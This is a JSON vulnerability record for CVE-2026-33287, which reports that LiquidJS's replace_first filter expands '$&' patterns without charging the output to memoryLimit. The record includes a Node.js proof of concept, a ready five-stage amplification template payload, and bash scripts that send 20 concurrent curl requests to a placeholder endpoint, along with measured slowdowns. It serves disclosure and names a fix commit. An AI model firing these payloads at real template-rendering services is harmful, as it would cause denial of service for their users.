{"id":"CVE-2026-33287","aliases":["GHSA-6q5m-63h6-5x4v"],"url":"https://o3.security/vulnerability/CVE-2026-33287","summary":"LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern","details":"### Summary\nThe `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a backreference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service.\n\n### Details\nThe `replace_first` filter in `src/builtin/filters/string.ts:130-133` delegates to JavaScript's native `String.prototype.replace()`. This native method interprets special replacement patterns including `$&` (insert the matched substring), `$'` (insert the portion after the match), and `` $` `` (insert the portion before the match).\n\nThe filter calls `memoryLimit.use(str.length)` to account for the **input** string's memory cost, but the **output** string — potentially many times larger due to `$&` expansion — is never charged against the memory limit.\n\nAn attacker can build a 1MB string (within `memoryLimit` budget), then use `replace_first` with a replacement string containing 50 repetitions of `$&`. Each `$&` expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.\n\nBy chaining this technique across multiple variable assignments, exponential amplification is achieved:\n\n| Stage | Input Size | `$&` Repetitions | Output Size | Cumulative `memoryLimit` Charge |\n|-------|-----------|-------------------|-------------|-------------------------------|\n| 1 | 1 byte | 50 | 50 bytes | ~1 byte |\n| 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes |\n| 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB |\n| 4 | 125 KB | 50 | 6.25 MB | ~128 KB |\n| 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB |\n\n**Total amplification factor: ~625,000:1** (312.5 MB output vs. ~6.38 MB charged to `memoryLimit`).\n\nNotably, the sibling `replace` filter uses `str.split(pattern).join(replacement)`, which treats `$&` as a literal string and is therefore not vulnerable. The `replace_last` filter uses manual substring operations and is also safe. Only `replace_first` is affected.\n\n```typescript\n// src/builtin/filters/string.ts:130-133 — VULNERABLE\nexport function replace_first (v: string, arg1: string, arg2: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)  // Only charges input\n  return str.replace(stringify(arg1), arg2)  // $& expansion uncharged!\n}\n\n// src/builtin/filters/string.ts:125-129 — SAFE (for comparison)\nexport function replace (v: string, arg1: string, arg2: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)\n  return str.split(stringify(arg1)).join(arg2)  // split/join: $& treated as literal\n}\n```\n\n### PoC\n**Prerequisites**:\n- `npm install liquidjs@10.24.0`\n- An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)\n\nSave the following as `poc_replace_first_amplification.js` and run with `node poc_replace_first_amplification.js`:\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\n(async () => {\n  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n  // Step 1 — Verify $& expansion in replace_first\n  console.log('=== Step 1: $& expansion in replace_first ===');\n  const step1 = '{{ \"HELLO\" | replace_first: \"HELLO\", \"$&-$&-$&\" }}';\n  console.log('Result:', await engine.parseAndRender(step1));\n  // Output: \"HELLO-HELLO-HELLO\" — $& expanded to matched string\n\n  // Step 2 — Verify replace (split/join) is safe\n  console.log('\\n=== Step 2: replace is safe ===');\n  const step2 = '{{ \"ABCDE\" | replace: \"ABCDE\", \"$&$&$&\" }}';\n  console.log('Result:', await engine.parseAndRender(step2));\n  // Output: \"$&$&$&\" — $& treated as literal\n\n  // Step 3 — 5-stage exponential amplification (50x per stage)\n  console.log('\\n=== Step 3: Exponential amplification (625,000:1) ===');\n  const amp50 = '$&'.repeat(50);\n  const step3 = [\n    '{% assign s = \"A\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{{ s | size }}'\n  ].join('');\n\n  const startMem = process.memoryUsage().heapUsed;\n  const result = await engine.parseAndRender(step3);\n  const endMem = process.memoryUsage().heapUsed;\n\n  console.log('Output string size:', result.trim(), 'bytes');  // \"312500000\"\n  console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB');\n  console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)');\n  console.log('memoryLimit charged: < 7 MB (only input lengths counted)');\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: $& expansion in replace_first ===\nResult: HELLO-HELLO-HELLO\n\n=== Step 2: replace is safe ===\nResult: $&$&$&\n\n=== Step 3: Exponential amplification (625,000:1) ===\nOutput string size: 312500000 bytes\nHeap increase: ~625.0 MB\nAmplification: ~625,000:1 (1 byte input → 312.5 MB output)\nmemoryLimit charged: < 7 MB (only input lengths counted)\n```\n\nThe `memoryLimit` of 100MB is completely bypassed — 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.\n\n#### Demonstrated Denial of Service (concurrent attack)\n\nAfter confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.\n\n**Raw Liquid template payload sent by attacker:**\n```liquid\n{% assign s = \"A\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{{ s }}\n```\n\n> `$&` is a JavaScript `String.prototype.replace()` backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB). `{{ s }}` forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.\n\n```bash\n#!/bin/bash\n# DoS demonstration: 20 concurrent attacks + legitimate user latency measurement\n\nDOLLAR='$&'\nREP50=$(printf \"${DOLLAR}%.0s\" {1..50})\nPAYLOAD=\"{% assign s = \\\"A\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{{ s }}\"\n\necho \"=== Advisory 2 DoS: 20 concurrent + normal user ===\"\n\n# 20 DoS attack requests (per-request timing)\nfor i in $(seq 1 20); do\n  (\n    t1=$(date +%s%3N)\n    curl -s -o /dev/null --max-time 120 -X POST \"http://<app>/newsletter/preview\" \\\n      -H \"Content-Type: application/x-www-form-urlencoded\" \\\n      --data-urlencode \"template=$PAYLOAD\"\n    t2=$(date +%s%3N)\n    echo \"DoS[$i]: $(( t2 - t1 ))ms\"\n  ) &\ndone\n\n# Legitimate user requests at 0s, 3s, 6s\n(\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://<app>/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=<h1>Hello</h1>\"\n  t2=$(date +%s%3N)\n  echo \"Normal[0s]: $(( t2 - t1 ))ms\"\n) &\n\n(\n  sleep 3\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://<app>/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=<h1>Hello</h1>\"\n  t2=$(date +%s%3N)\n  echo \"Normal[3s]: $(( t2 - t1 ))ms\"\n) &\n\n(\n  sleep 6\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://<app>/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=<h1>Hello</h1>\"\n  t2=$(date +%s%3N)\n  echo \"Normal[6s]: $(( t2 - t1 ))ms\"\n) &\n\nwait\necho \"=== Done ===\"\n```\n\n**Empirical results** (Node.js v20.20.1, LiquidJS 10.24.0):\n```\nNormal[0s]:  13047ms  ← request sent concurrently with attack — 13s delay\nNormal[3s]:  10124ms  ← still blocked 3 seconds later — 10s delay\nNormal[6s]:   7186ms  ← still blocked 6 seconds later — 7s delay\nDoS[1]:      14729ms\nDoS[2-20]:   17747ms ~ 25353ms\n```\n\nWith 20 concurrent requests, legitimate users experience **up to 13-second delays**. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\n```bash\n# $& expansion — should return \"HELLO-HELLO-HELLO\"\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{{ \\\"HELLO\\\" | replace_first: \\\"HELLO\\\", \\\"$&-$&-$&\\\" }}\"}'\n\n# replace is safe — should return literal \"$&$&$&\"\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{{ \\\"ABCDE\\\" | replace: \\\"ABCDE\\\", \\\"$&$&$&\\\" }}\"}'\n\n# 5-stage 50x amplification — produces ~312.5MB response\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% assign s = \\\"A\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{{ s | size }}\"}'\n```\n```bash\n# 20 concurrent DoS attack requests\nfor i in $(seq 1 20); do\n  curl -s -o /dev/null --max-time 120 -X POST \"http://<app>/render\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode 'template={% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{{ s }}' &\ndone\n\n# Legitimate user request (concurrent)\ncurl -w \"Normal: %{time_total}s\\n\" -s -o /dev/null --max-time 60 -X POST \"http://<app>/render\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode 'template=<h1>Hello</h1>' &\n\nwait\n```\n\nReplace `http://<app>/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.\n\n### Impact\n- **`memoryLimit` security bypass**: The memory limit is rendered ineffective for templates using `replace_first` with `$&` patterns.\n- **Demonstrated Denial of Service**: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause **complete service unavailability**. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled.\n- **Measured service disruption** (LiquidJS 10.24.0, Node.js v20, empirically verified):\n\n  | Concurrent Attack Requests | Legitimate User Latency | vs. Baseline | Server Blocked |\n  |---------------------------|------------------------|-------------|---------------|\n  | 10 | 3.2s | **640x** | ~11s |\n  | 20 | **10.9s** | **2,180x** | ~29s |\n\n  With 20 concurrent requests, legitimate user requests are **delayed by 10.9 seconds** and the server becomes **completely unresponsive for 29 seconds**. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.","published":"2026-03-26T00:33:20.024Z","modified":"2026-08-12T03:51:27.252367135Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"liquidjs","fixedVersion":null}],"fix":{"url":"https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d","label":"harttle/liquidjs@35d5230"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33287.json"},{"type":"ADVISORY","url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33287"},{"type":"FIX","url":"https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d"},{"type":"PACKAGE","url":"https://github.com/harttle/liquidjs"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:27.252367135Z"}}